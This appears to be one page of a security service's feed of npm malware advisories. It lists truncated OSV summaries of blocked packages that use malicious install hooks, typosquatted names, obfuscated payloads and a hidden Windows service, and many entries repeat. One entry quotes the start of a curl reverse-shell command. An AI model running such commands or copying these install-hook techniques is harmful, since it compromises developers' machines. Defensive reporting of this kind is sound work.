npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 530
Updated 25 Oct 2026, 08:32 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-4252 blocks this version. On npm install, the package's preinstall, install, and postinstall lifecycle hooks all invoke telemetry.js, which collects...
OpenSSF/OSV malware advisory MAL-2026-4699 blocks this version. Package metadata advertises 'utility mf' with main 'index.js', but the shipped main is a 15.7MB obfuscator.io-style blob pr...
OpenSSF/OSV malware advisory MAL-2026-4251 blocks this version. On `npm install`, the package.json `preinstall` hook runs `node telemetry.js`, which performs a DNS lookup against `test-ca...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-4609 blocks this version. The package advertises itself as an 'MEV protection layer for Ethereum trading bots' but does the opposite. On `npm install...
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4565 blocks this version. On `npm install`, the package's postinstall hook runs `node index.js`, which collects the installer's hostname, OS platform...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...